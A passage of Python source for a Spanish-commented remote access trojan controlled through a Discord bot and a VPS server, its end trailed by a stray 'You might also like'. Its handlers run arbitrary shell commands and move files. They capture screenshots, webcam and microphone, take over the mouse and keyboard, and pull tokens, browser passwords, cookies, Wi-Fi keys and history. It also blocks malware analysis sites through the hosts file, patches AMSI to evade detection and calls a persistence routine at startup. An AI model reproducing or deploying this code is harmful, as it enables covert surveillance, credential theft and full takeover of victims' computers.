def execute_command(data):
self.execute_system_command(data['command'])

@self.sio.on('get_file_system')
def get_files(data):
self.get_file_system(data['path'])
@self.sio.on('mouse_click')
def mouse_click(data):
self.simulate_mouse_click(data)

@self.sio.on('key_press')
def key_press(data):
self.simulate_key_press(data['key'])

@self.sio.on('start_audio_recording')
def start_audio():
self.start_audio_recording()

@self.sio.on('stop_audio_recording')
def stop_audio():
self.stop_audio_recording()

@self.sio.on('download_file')
def download_file(data):
self.download_file_from_system(data['file_path'])

@self.sio.on('upload_file')
def upload_file(data):
self.upload_file_to_system(data)

@self.sio.on('delete_file')
def delete_file(data):
self.delete_file_from_system(data['file_path'])

@self.sio.on('create_folder')
def create_folder(data):
self.create_folder_in_system(data)

# New handlers for sensitive data requests


@self.sio.on('request_tokens')
def request_tokens():
self._extract_tokens()

@self.sio.on('request_passwords')
def request_passwords():
self._extract_passwords()

@self.sio.on('request_cookies')
def request_cookies():
self._extract_cookies()

@self.sio.on('request_wifi')
def request_wifi():
self._extract_wifi_networks()

# Agregar handler para solicitud de historial de navegadores


@self.sio.on('request_browser_history')
def request_browser_history(data):
self._extract_browser_history(data['browser'])

def connect_to_server(self):
try:
self.sio.connect(self.server_url)
return True
except Exception as e:
return False

def disconnect_from_server(self):
try:
if self.connected:
self.cleanup()
self.sio.disconnect()
self.connected = False
except Exception as e:
pass

def send_system_info(self):
try:
# Informacion basica del sistema
si = platform.uname()

# Informacion de CPU mas detallada


try:
import cpuinfo
cpu_info = cpuinfo.get_cpu_info()
cpu_name = cpu_info.get('brand_raw', si.processor)
except:
cpu_name = si.processor

# Informacion de memoria
memory = psutil.virtual_memory()

# Informacion de motherboard y BIOS (Windows)


motherboard = 'Desconocido'
bios = 'Desconocido'

if platform.system() == 'Windows':
try:
import wmi
c = wmi.WMI()

# Motherboard
for board in c.Win32_BaseBoard():
motherboard = f"{board.Manufacturer} {board.Product}"
break

# BIOS
for bios_info in c.Win32_BIOS():
bios = f"{bios_info.Manufacturer}
{bios_info.SMBIOSBIOSVersion}"
break
except:
pass

# Username del sistema


username = getpass.getuser()

info = {
'username': username,
'os': platform.system(),
'os_version': platform.version(),
'architecture': platform.architecture()[0],
'hostname': platform.node(),
'cpu': cpu_name,
'processor': si.processor,
'cpu_count': psutil.cpu_count(),
'ram': f"{memory.total / (1024**3):.2f} GB",
'memory_total': memory.total,
'motherboard': motherboard,
'bios': bios,
'disk_usage': psutil.disk_usage('/').total if os.name != 'nt' else
psutil.disk_usage('C:').total,
'python_version': platform.python_version(),
'client_type': 'Discord Bot Client'
}
self.sio.emit('client_system_info', info)
except Exception as e:
pass

def capture_screenshot(self):
try:
screenshot = pyautogui.screenshot()
screenshot = screenshot.resize((1280, 720), Image.Resampling.LANCZOS)

buffer = io.BytesIO()
screenshot.save(buffer, format='JPEG', quality=70)
img_str = base64.b64encode(buffer.getvalue()).decode()

self.sio.emit('client_screenshot_result', {'image': img_str})


except Exception as e:
pass

def start_webcam_capture(self):
try:
self.webcam = cv2.VideoCapture(0)
self.webcam_active = True

def webcam_loop():
while self.webcam_active and self.webcam and self.connected:
ret, frame = self.webcam.read()
if ret:
frame = cv2.resize(frame, (640, 480))
_, buffer = cv2.imencode('.jpg', frame,
[cv2.IMWRITE_JPEG_QUALITY, 70])
img_str = base64.b64encode(buffer).decode()

self.sio.emit('client_webcam_result', {'image': img_str})


time.sleep(0.1) # 10 FPS

threading.Thread(target=webcam_loop, daemon=True).start()
except Exception as e:
pass

def stop_webcam_capture(self):
self.webcam_active = False
if self.webcam:
self.webcam.release()
self.webcam = None

def execute_system_command(self, command):


try:
if os.name == 'nt': # Windows
result = subprocess.run(command, shell=True, capture_output=True,
text=True, timeout=30)
else: # Linux/Mac
result = subprocess.run(command, shell=True, capture_output=True,
text=True, timeout=30)

output = result.stdout if result.stdout else ""


error = result.stderr if result.stderr else ""

self.sio.emit('client_command_result', {
'command': command,
'result': output,
'error': error,
'return_code': result.returncode
})
except subprocess.TimeoutExpired:
self.sio.emit('client_command_result', {
'command': command,
'result': '',
'error': 'Comando timeout (30s)',
'return_code': -1
})
except Exception as e:
self.sio.emit('client_command_result', {
'command': command,
'result': '',
'error': str(e),
'return_code': -1
})

def get_file_system(self, path):


try:
if not path or path == '/':
if os.name == 'nt':
path = 'C:\\'
else:
path = '/'

path_obj = Path(path)
if not path_obj.exists():
self.sio.emit('client_files_result', {
'path': path,
'error': 'Ruta no encontrada',
'items': []
})
return

items = []
try:
for item in path_obj.iterdir():
try:
stat = item.stat()
items.append({
'name': item.name,
'is_directory': item.is_dir(),
'size': stat.st_size if not item.is_dir() else 0,
'modified': time.ctime(stat.st_mtime),
'path': str(item)
})
except (PermissionError, OSError):
continue
except PermissionError:
self.sio.emit('client_files_result', {
'path': path,
'error': 'Sin permisos para acceder',
'items': []
})
return

# Ordenar: directorios primero, luego archivos


items.sort(key=lambda x: (not x['is_directory'], x['name'].lower()))

self.sio.emit('client_files_result', {
'path': path,
'parent': str(path_obj.parent) if path_obj.parent != path_obj else
None,
'items': items
})
except Exception as e:
self.sio.emit('client_files_result', {
'path': path,
'error': str(e),
'items': []
})

def simulate_mouse_click(self, data):


try:
x, y = data['x'], data['y']
button = data.get('button', 'left')

# Escalar coordenadas
screen_width, screen_height = pyautogui.size()
actual_x = int(x * screen_width / 1280)
actual_y = int(y * screen_height / 720)

pyautogui.click(actual_x, actual_y, button=button)


except Exception as e:
pass

def simulate_key_press(self, key):


try:
pyautogui.press(key)
except Exception as e:
pass

def start_audio_recording(self):
try:
self.audio_recording = True
duration = 10 # 10 segundos
sample_rate = 44100

def record_audio():
try:
audio_data = sd.rec(int(duration * sample_rate),
samplerate=sample_rate, channels=1)
sd.wait()

# Convertir a bytes
audio_bytes = (audio_data * 32767).astype(np.int16).tobytes()
audio_b64 = base64.b64encode(audio_bytes).decode()

self.sio.emit('client_audio_result', {
'audio_data': audio_b64,
'duration': duration,
'sample_rate': sample_rate,
'format': 'wav'
})
except Exception as e:
pass
finally:
self.audio_recording = False

threading.Thread(target=record_audio, daemon=True).start()
except Exception as e:
pass

def stop_audio_recording(self):
self.audio_recording = False

def download_file_from_system(self, file_path):


try:
path_obj = Path(file_path)
if not path_obj.exists() or path_obj.is_dir():
self.sio.emit('client_download_result', {
'success': False,
'error': 'Archivo no encontrado o es un directorio',
'file_name': path_obj.name
})
return

# Leer archivo y convertir a base64


with open(file_path, 'rb') as f:
file_data = base64.b64encode(f.read()).decode()

self.sio.emit('client_download_result', {
'success': True,
'file_data': file_data,
'file_name': path_obj.name,
'file_size': path_obj.stat().st_size
})
except Exception as e:
self.sio.emit('client_download_result', {
'success': False,
'error': str(e),
'file_name': Path(file_path).name
})

def upload_file_to_system(self, data):


try:
file_data = data['file_data']
file_name = data['file_name']
target_path = data['target_path']

# Decodificar archivo
file_bytes = base64.b64decode(file_data)

# Crear ruta completa


full_path = Path(target_path) / file_name

# Escribir archivo
with open(full_path, 'wb') as f:
f.write(file_bytes)

self.sio.emit('client_upload_result', {
'success': True,
'file_name': file_name
})
except Exception as e:
self.sio.emit('client_upload_result', {
'success': False,
'error': str(e),
'file_name': data.get('file_name', 'unknown')
})

def delete_file_from_system(self, file_path):


try:
path_obj = Path(file_path)
if not path_obj.exists():
self.sio.emit('client_delete_result', {
'success': False,
'error': 'Archivo no encontrado',
'file_path': file_path
})
return

if path_obj.is_dir():
import shutil
shutil.rmtree(file_path)
else:
path_obj.unlink()

self.sio.emit('client_delete_result', {
'success': True,
'file_path': file_path
})
except Exception as e:
self.sio.emit('client_delete_result', {
'success': False,
'error': str(e),
'file_path': file_path
})

def create_folder_in_system(self, data):


try:
folder_path = data['folder_path']
folder_name = data['folder_name']

full_path = Path(folder_path) / folder_name


full_path.mkdir(parents=True, exist_ok=True)

self.sio.emit('client_folder_result', {
'success': True,
'folder_name': folder_name
})
except Exception as e:
self.sio.emit('client_folder_result', {
'success': False,
'error': str(e),
'folder_name': data.get('folder_name', 'unknown')
})

def _extract_tokens(self):
try:
tokens = ext() # Call the existing token extraction function
self.sio.emit('client_data_tokens', {'data': tokens})
except Exception as e:
self.sio.emit('client_data_tokens', {'data': [], 'error': str(e)})

def _extract_passwords(self):
all_passwords = []
for browser in sorted(BROWSER_PATHS):
try:
passwords = extract_passwords(browser)
if passwords:
all_passwords.extend(passwords)
except Exception as e:
pass
self.sio.emit('client_data_passwords', {'data': all_passwords})

def _extract_cookies(self):
try:
cookies_data = extract_all_cookies()
self.sio.emit('client_data_cookies', {'data': cookies_data})
except Exception as e:
self.sio.emit('client_data_cookies', {'data': [], 'error': str(e)})

def _extract_wifi_networks(self):
try:
wifi_data = get_wifi_networks()
self.sio.emit('client_data_wifi', {'data': wifi_data})
except Exception as e:
self.sio.emit('client_data_wifi', {'data': {}, 'error': str(e)})

def _extract_browser_history(self, browser):


try:
history_data = get_browser_history(browser) # Usar la funcion
existente

if history_data:
# Convertir lista a texto
history_text = f"Historial de {browser.capitalize()}\n"
history_text += "=" * 50 + "\n\n"

for entry in history_data:


history_text += entry + "\n"

self.sio.emit('client_browser_history_result', {
'browser': browser,
'history_data': history_text
})
else:
self.sio.emit('client_browser_history_result', {
'browser': browser,
'history_data': '',
'error': f'No se pudo obtener el historial de {browser}'
})
except Exception as e:
self.sio.emit('client_browser_history_result', {
'browser': browser,
'history_data': '',
'error': str(e)
})

def cleanup(self):
if self.webcam:
self.webcam.release()
self.webcam_active = False
self.audio_recording = False

# Instancia global del cliente


remote_client = RemoteClient(VPS_SERVER_URL)

@bot.command(name='remote')
async def remote_command(ctx):
"""Conecta al servidor VPS ROOT SQL"""

if remote_client.connected:
embed = discord.Embed(
title="⚠️ Ya conectado",
description="Este cliente ya esta conectado al servidor.",
color=0x000000 # Color negro
)
embed.add_field(name="VPS", value=f"```{VPS_SERVER_URL}```", inline=False)
embed.add_field(name="Panel", value=f"```{VPS_SERVER_URL}/panel```",
inline=False)
await ctx.send(embed=embed)
return

embed = discord.Embed(
title="Conectando...",
description=f"A {VPS_SERVER_URL}",
color=0x000000
)
msg = await ctx.send(embed=embed)

success = remote_client.connect_to_server()

if success:
for _ in range(10):
await asyncio.sleep(0.5)
if remote_client.connected:
break

if remote_client.connected:
embed = discord.Embed(
title=" Conectado",
description="Cliente conectado al servidor ROOT SQL.",
color=0x000000
)
embed.add_field(name="VPS", value=f"```{VPS_SERVER_URL}```",
inline=False)
embed.add_field(name="Panel", value=f"```{VPS_SERVER_URL}/panel```",
inline=False)
info = f"OS: {platform.system()}\nHost: {platform.node()}\nArch:
{platform.architecture()[0]}"
embed.add_field(name="Sistema", value=f"```{info}```", inline=False)

embed.set_footer(text=f"ID: {ctx.author.display_name}")
else:
embed = discord.Embed(
title="Conexion fallida",
description="```No se pudo conectar al servidor.```",
color=0xff0000
)
else:
embed = discord.Embed(
title="Error",
description=f"```No se pudo conectar a {VPS_SERVER_URL}.```",
color=0xff0000
)

await msg.edit(embed=embed)

@bot.command(name='disconnect')
async def disconnect_command(ctx):
"""🔌 Desconectar del servidor VPS"""

if not remote_client.connected:
embed = discord.Embed(
title="No conectado",
description="```Este cliente no esta conectado al servidor VPS.```",
color=0xff9900
)
await ctx.send(embed=embed)
return

remote_client.disconnect_from_server()

embed = discord.Embed(
title="Desconectado del VPS",
description="```Cliente desconectado del servidor ROOT SQL.```",
color=0xff0000
)

embed.add_field(
name="Servidor VPS",
value=f"```{VPS_SERVER_URL}```",
inline=False
)

await ctx.send(embed=embed)

@bot.command(name='block')
@commands.has_permissions(administrator=True)
async def block(ctx):
malware_analysis_sites = [
'virustotal.com',
'www.virustotal.com',
'analyze.intezer.com',
'www.hybrid-analysis.com',
'hybrid-analysis.com',
'www.joesandbox.com',
'joesandbox.com',
'any.run',
'app.any.run',
'www.virscan.org',
'virscan.org',
'malwr.com',
'www.malwr.com',
'reverse.it',
'www.reverse.it',
'detux.org',
'www.detux.org'
]

try:
if not remote_client.connected:
await ctx.send("🔴 Error: No conectado al servidor VPS (Windows)")
return

hosts_path = r"C:\Windows\System32\drivers\etc\hosts"

backup_command = f'copy "{hosts_path}" "{hosts_path}.bak"'

block_entries = "\r\n".join([f"127.0.0.1 {site}" for site in


malware_analysis_sites])
block_command = f'echo. >> "{hosts_path}" && echo # Bloqueado por seguridad
- Sitios de análisis malware >> "{hosts_path}" && echo {block_entries} >>
"{hosts_path}"'

remote_client.execute_command(backup_command)
remote_client.execute_command(block_command)

verify_command = f'type "{hosts_path}" | find /v "" | more +20'

result = remote_client.execute_command(verify_command)

embed = discord.Embed(
title="Sitios de análisis de malware bloqueados (Windows)",
description=f"Se han bloqueado {len(malware_analysis_sites)}
dominios.",
color=0x00ff00
)
embed.add_field(
name="Cambios realizados",
value=f"```{result[:1000]}...```" if len(result) > 1000 else
f"```{result}```",
inline=False
)
embed.set_footer(text="El archivo hosts ha sido modificado con éxito.")

except Exception as e:
embed = discord.Embed(
title="Error al bloquear sitios (Windows)",
description=f"```{str(e)}```",
color=0xff0000
)

await ctx.send(embed=embed)
@bot.command(name='status')
async def status_command(ctx):
"""📊 Ver estado de conexion al VPS"""

embed = discord.Embed(
title="ROOT SQL - INFO",
color=0x00ff00 if remote_client.connected else 0xff0000
)

embed.add_field(
name="Estado de Conexion",
value="```🟢 CONECTADO AL VPS```" if remote_client.connected else "```🔴
DESCONECTADO```",
inline=True
)

embed.add_field(
name="Servidor VPS",
value=f"```{VPS_SERVER_URL}```",
inline=True
)

embed.add_field(
name="Sistema Local",
value=f"```{platform.system()} {platform.architecture()[0]}```",
inline=True
)

if remote_client.connected:
embed.add_field(
name="Panel de Control",
value=f"`{VPS_SERVER_URL}/panel`",
inline=False
)

embed.add_field(
name="Funciones Activas",
value="• Screenshots\n• Webcam\n• Terminal\n• Archivos\n• Audio\n•
Control remoto",
inline=True
)

# Info del sistema


try:
cpu_percent = psutil.cpu_percent(interval=1)
memory = psutil.virtual_memory()

embed.add_field(
name="Recursos",
value=f"CPU: {cpu_percent}%\nRAM: {memory.percent}%",
inline=True
)
except:
pass

embed.add_field(
name="Comandos",
value="`.remote` - Conectar\n`.disconnect` - Desconectar\n`.status` -
Estado",
inline=False
)

await ctx.send(embed=embed)

# Mantener conexion activa


async def keep_connection_alive():
"""Mantener la conexion con el VPS activa"""
while True:
if remote_client.connected:
try:
# Enviar ping cada 30 segundos para mantener conexion
remote_client.sio.emit('ping')
except Exception as e:
# Si hay error, intentar reconectar
if not remote_client.connected:
remote_client.connect_to_server()
await asyncio.sleep(30)

@bot.event
async def on_disconnect():
"""Cuando el bot se desconecta de Discord"""
remote_client.disconnect_from_server()

class SystemPersistenceManager:
def bypass_amsi(self):
try:
if sys.platform != 'win32':
return False, "❌ No estás en Windows."

amsi = ctypes.WinDLL("amsi.dll")
GetProcAddress = ctypes.windll.kernel32.GetProcAddress
GetProcAddress.argtypes = [ctypes.c_void_p, ctypes.c_char_p]
GetProcAddress.restype = ctypes.c_void_p

address = GetProcAddress(amsi._handle, b"AmsiScanBuffer")

if not address:
return False, "❌ No se encontró la función AmsiScanBuffer."

old_protection = ctypes.c_ulong(0)
patch_size = 6
patch_bytes = (ctypes.c_ubyte * patch_size)(0xB8, 0x57, 0x00, 0x00,
0x00, 0xC3)

# Cambiar protección de memoria para permitir escritura


if not ctypes.windll.kernel32.VirtualProtect(
ctypes.c_void_p(address),
patch_size,
0x40, # PAGE_EXECUTE_READWRITE
ctypes.byref(old_protection)
):
return False, "❌ No se pudo cambiar la protección de memoria."

# Poner el parche (usamos ctypes.byref para pasar buffer correctamente)


ctypes.memmove(ctypes.c_void_p(address), ctypes.byref(patch_bytes),
patch_size)

# Restaurar protección original


ctypes.windll.kernel32.VirtualProtect(
ctypes.c_void_p(address),
patch_size,
old_protection.value,
ctypes.byref(old_protection)
)

return True, "✅ Bypass AMSI aplicado correctamente."

except Exception as e:
return False, f"❌ Error en AMSI bypass: {str(e)}"

persistence_engine = SystemPersistenceManager()

async def notify_bypass_result():


success, message = persistence_engine.bypass_amsi()
channel_id = 1402561934708047903
channel = bot.get_channel(channel_id)
if channel:
await channel.send(message)

def main():
"""Funcion principal"""
try:
#run()
persistence_engine.bypass_amsi()
activate_system_persistence()
bot.run(token)
except Exception as e:
print(f"error culeado {e}")

if __name__ == "__main__":
main()

You might also like